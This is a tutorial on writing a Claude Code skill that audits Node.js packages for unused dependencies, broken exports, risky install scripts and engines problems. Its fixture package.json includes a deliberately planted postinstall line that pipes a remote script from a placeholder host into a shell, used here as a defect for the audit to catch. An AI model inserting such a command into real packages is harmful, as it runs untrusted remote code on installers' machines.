How to Audit a Node Project With an AI Skill
Build a Claude Code skill to audit Node.js packages for unused dependencies, risky lifecycle scripts, broken exports and engines issues, with evidence and confidence ratings.
To audit a Node project with an AI skill, commit a SKILL.md file to .claude/skills/<skill-name>/. It should inject your real package.json and build output into the prompt and tell Claude Code to run a short list of judgement checks that it reports with evidence.
Most package reviews end with the same four comments: a dependency nobody imports anymore, a postinstall script that nobody read, no engines field, and an exports map pointing at a file the build doesn’t produce. You write those comments again on every PR.
This article builds one small audit skill for that job. It shows the complete file, explains how to make it trigger on “audit this package” and not on every edit, and walks through a run against a fixture repo. It also covers where the skill is likely to be wrong.
Key Takeaways
- A Claude Code project skill is a folder at
.claude/skills/<skill-name>/containing aSKILL.mdfile. Commit that folder and everyone who clones the repo gets the same/skill-namecommand. - A line in SKILL.md that starts with !
cat package.jsonruns before Claude reads the skill, so the audit works from the real manifest and not from a guess about it. - If an injected command fails, Claude Code aborts the whole invocation. With the default bash shell, any non-zero exit counts as a failure, except exit code 1 from search and comparison commands. A command that can fail for legitimate reasons needs
|| trueappended. - An audit skill should read install scripts and never run them. Keep
npm install,npm ciandnpm runout of both the injected commands andallowed-tools. - ESLint,
npm auditand publint give the same answer for the same input. An audit skill doesn’t, so use it only for questions that need judgement.
The Same Four Review Comments on Every PR
The same package review comments repeat because the problems behind them can’t be settled by a rule. Deciding whether a dependency is still needed means searching the codebase. Deciding whether a postinstall script is surprising means reading it. A linter has no configuration option for either.
A Claude Code skill fits this kind of judgement work. It is a reusable set of instructions, written in a SKILL.md file, that Claude Code loads when a request matches its description or when you type its name. If you’re new to the format, the guides on Claude Code skills for frontend workflows and reusable AI agent capabilities explain the concept.
How to Create a Claude Code Skill for Package Audits
To create a Claude Code skill, add a directory under .claude/skills/ containing a SKILL.md file. The file holds YAML frontmatter between --- markers, followed by Markdown instructions. The directory name, or the frontmatter name, becomes the slash command.
Create the Skill Folder
Project skills live in the repo’s .claude folder. Claude Code loads a skill saved at .claude/skills/<skill-name>/SKILL.md for every session in that repository.
mkdir -p .claude/skills/node-package-audit
The Full SKILL.md
Save this file as .claude/skills/node-package-audit/SKILL.md. The opening --- must be on line 1.
---
name: node-package-audit
description: Audits a Node.js package's package.json and build layout for judgement-call problems that linters miss, including dependencies that may no longer be needed, an exports map that does not match the build output, surprising install, postinstall or prepare scripts, a missing or wrong engines field, and files that break the repo's layout conventions. Use when the user asks to audit, review or sanity-check a package or its package.json, or asks whether a package is ready to publish. Not for routine code edits.
when_to_use: 'Requests like "audit this package", "review our package.json", "is this ready to publish" or "check our dependencies".'
allowed-tools: Bash(cat *) Bash(ls *) Bash(true) Read Grep Glob
---
## Manifest
!`cat package.json`
## Top-level files
!`ls -a`
## Build output
!`ls dist lib build || true`
## Instructions
Audit the package above. Do not run npm install, npm ci, npm run, or any
package script. Read files only.
For each check, report: finding, evidence (file and line, or the exact
field), and confidence (confirmed / unverified). If you cannot confirm a
finding from files you actually read, mark it unverified. Do not guess.
1. Dependencies: for each entry in dependencies and devDependencies,
search src, scripts in package.json, config files and bin entries for
a use. Flag only entries with no reference anywhere. Tools can be
referenced by string name in config files or invoked as CLIs in scripts.
2. Exports: compare every path in main, module, types, bin and exports
against the build output listed above. Flag paths that point at files
that don't exist, and conditions that point at the wrong format.
3. Lifecycle scripts: read preinstall, install, postinstall and prepare.
Flag anything that downloads, runs a remote script, writes outside
the package, or reads environment variables or credentials.
4. Layout: compare the package's file layout with sibling packages or
the repo's existing conventions. Flag deviations, not preferences.
5. Engines: flag a missing engines field, or a range that contradicts
syntax or APIs used in the source.
Finish with a table of findings, then a short list of what you could not
check and why.
What the Frontmatter and Injected Commands Do
Every key in this file is listed in the frontmatter reference. None of them is required, though the docs recommend setting description. An unknown key raises no error: Claude Code just skips it, so a typo such as allowed_tools disappears without any warning.
The three ! lines use dynamic context injection. Before Claude reads the skill, Claude Code runs each command and swaps the line for whatever the command printed. A failure in any one of them aborts the whole invocation. ls exits non-zero when a directory it’s asked to list doesn’t exist, and a package that hasn’t been built yet has no dist/. That is why the build-output line ends in || true. cat package.json has no fallback on purpose: in a Node package, a missing manifest should stop the audit.
Claude Code doesn’t show a permission prompt for an injected command. Outside auto mode, an injected command that your permission rules don’t explicitly allow stops the invocation, and allowed-tools is how the skill pre-approves them. Claude Code checks each part of a compound command on its own, so ls dist lib build || true needs a rule for true as well as for ls. That is why allowed-tools includes Bash(true). The grant lasts only for the turn that invoked the skill. If a run aborts with Shell command permission check failed, add an allow rule for that command to your permission settings.
Two optional SKILL.md frontmatter fields are worth knowing about. paths limits automatic loading to work on files that match its globs. disable-model-invocation: true makes the skill run only when you type /node-package-audit.
Write a Description That Fires on Audits, Not Edits
Claude uses the description field to decide whether to load a skill without being asked. A description such as “Helps with Node projects” is too vague to match “audit this package” reliably, and broad enough to load during unrelated work.
The node-package-audit description above puts the use case in its first sentence, lists the trigger verbs (audit, review, sanity-check, ready to publish) and ends with an explicit exclusion. The skill listing cuts off the combined description and when_to_use text after 1,536 characters, so the key use case needs to come first. If the skill still fires too often, the docs recommend a more specific description or manual-only invocation.
Five Checks That Need Judgement, Not Rules
Each check in the skill asks a question that depends on context, and each requires a cited file or field before a finding counts as confirmed.
Is each dependency still needed? The skill has to look for a use before flagging a dependency. Imports are the easy case. The harder cases are packages invoked as CLIs in scripts and plugins named as strings in config files.
Does exports match the build output? The skill compares declared paths against the ls output it received. A path to a file that doesn’t exist is confirmed. A doubt about whether a condition points at the right format is usually marked unverified.
Do install scripts do anything surprising? npm 11 runs preinstall, install and postinstall scripts from dependencies by default. It also runs prepare for dependencies installed from non-registry sources such as git. npm 12, released on 8 July 2026, stops running those dependency scripts unless the package has been approved, and blocks prepare from git, file and link dependencies in the same way. Projects on npm 11 or earlier, and approved packages, still run them. A script that pipes a remote file to a shell deserves a comment in review. The skill reads these scripts and must never run them, which is why no npm command appears in either the injected lines or allowed-tools. The same supply-chain logic applies to CI configuration, which the GitHub workflow security audit covers. Workspace trust doesn’t apply to allowed-tools in a committed skill: Claude Code honours the field even in a folder you have never trusted, so read it in any repo you clone.
Does the layout follow the repo’s conventions? “Conventions” means whatever the sibling packages already do. The instruction to flag deviations and not preferences keeps the check from turning into style advice.
Is engines missing or wrong? npm only enforces engines when the installer turns on engine-strict. Otherwise a version mismatch prints a warning and the install goes ahead. A missing or wrong range fails quietly, and that is why this check is worth doing.
Confirm the Skill Fires, Then Run It
You can check that the skill fires in four ways. Ask “What skills are available?”, invoke /node-package-audit directly, run claude plugin validate .claude/skills, or start Claude Code with --debug.
What skills are available?
/node-package-audit
claude plugin validate .claude/skills
claude --debug
claude plugin validate needs Claude Code v2.1.233 or later. If /node-package-audit works but “audit this package” doesn’t trigger the skill, check the frontmatter first. Frontmatter that fails to parse doesn’t stop the skill from loading. Claude Code loads it with no metadata, so typing the slash command still works but Claude has no description to match a request against. The docs also advise keeping SKILL.md under 500 lines.
A Fixture With Planted Defects
This package.json contains four planted defects. Its dist/ holds only index.js and index.d.ts, and a .prettierrc lists prettier-plugin-organize-imports by name.
{
"name": "@acme/date-utils",
"version": "1.4.0",
"type": "module",
"main": "./dist/index.js",
"exports": {
".": {
"types": "./dist/index.d.ts",
"import": "./dist/index.mjs"
}
},
"scripts": {
"build": "tsc",
"lint": "eslint .",
"postinstall": "curl -fsSL https://example.com/setup.sh | sh"
},
"dependencies": {
"left-pad": "^1.3.0"
},
"devDependencies": {
"eslint": "^9.0.0",
"prettier-plugin-organize-imports": "^4.0.0",
"typescript": "^5.6.0"
}
}
The planted defects are the unused left-pad, an exports path to index.mjs that doesn’t exist, a postinstall that pipes a remote script to a shell, and no engines field.
The Output and the Miss
The report comes back as a findings table followed by a “could not check” list. Here’s an example of what that looks like for this fixture.
Findings
| # | Check | Finding | Evidence | Confidence |
|---|--------------|------------------------------------------------------|---------------------------------------------------|------------|
| 1 | Dependencies | left-pad has no use anywhere in the package | no import in src/, not named in scripts or config | confirmed |
| 2 | Dependencies | prettier-plugin-organize-imports may be unused | no import in src/ | unverified |
| 3 | Exports | exports["."].import points at a missing file | ./dist/index.mjs is not in the build output | confirmed |
| 4 | Lifecycle | postinstall downloads and runs a remote script | scripts.postinstall pipes curl output to sh | confirmed |
| 5 | Engines | package.json has no engines field | no "engines" key in package.json | confirmed |
Could not check
- Layout: there are no sibling packages or written conventions to compare against.
- Engines range: with no engines field, there is no range to test against the source.
The miss to expect is a false “unused” flag on prettier-plugin-organize-imports, because it appears only as a string in a config file. The skill’s instructions reduce that risk but can’t remove it. Read the confidence column first: treat an unverified dependency finding as a prompt to grep for it yourself, not as a reason to delete it.
A Skill Is Not a Linter
A skill handles the questions that deterministic tools can’t answer, and it will sometimes get them wrong. ESLint and publint return the same result for the same input, and npm audit does the same for a given set of advisories, so they belong in CI as hard gates. The audit skill belongs in review, where a person reads its evidence before acting on it. The case for automating deterministic code checks still applies, and the skill doesn’t replace any of it.
A bad exports path or a wrong engines range usually shows up at runtime and not in CI. Session replay shows the resulting blank screen, console error and failed request in context, while the skill catches the static cause before publish.
Conclusion
A small audit skill works because its scope is narrow: it injects real files, runs five checks with cited evidence, reads install scripts without executing them, and says clearly when it isn’t sure. Commit the SKILL.md above, run /node-package-audit on the package you review most often, and move any finding it repeats into a deterministic rule if one can express it.
FAQs
Is the install script check still useful now that npm 12 blocks install scripts?
Yes. npm 12.0.0 no longer runs preinstall, install or postinstall scripts from dependencies unless they are approved with npm approve-scripts, and it blocks prepare scripts from git, file and link dependencies the same way. Consumers on npm 11 or earlier still run them by default, and approved packages keep running them. A postinstall that pipes a remote script to a shell still needs review.
Where should an audit skill live in a monorepo with many packages?
Put a shared audit skill in the root .claude/skills folder so it applies to the whole repository. For rules specific to one package, commit a separate skill inside that package, for example packages/api/.claude/skills/. Claude Code discovers nested skill folders when you work with files in that subdirectory, so a per-package skill may not appear until Claude reads or edits a file there.
What happens if a developer has a personal skill with the same name as the committed one?
The personal skill wins. Claude Code resolves skill name collisions in the order enterprise, then personal, then project, so a skill at ~/.claude/skills/node-package-audit/SKILL.md shadows the committed .claude/skills/node-package-audit/SKILL.md for that developer. Plugin skills are namespaced and never collide. If a teammate's audit ignores recent changes to the repo's version, check for a personal skill of the same name first.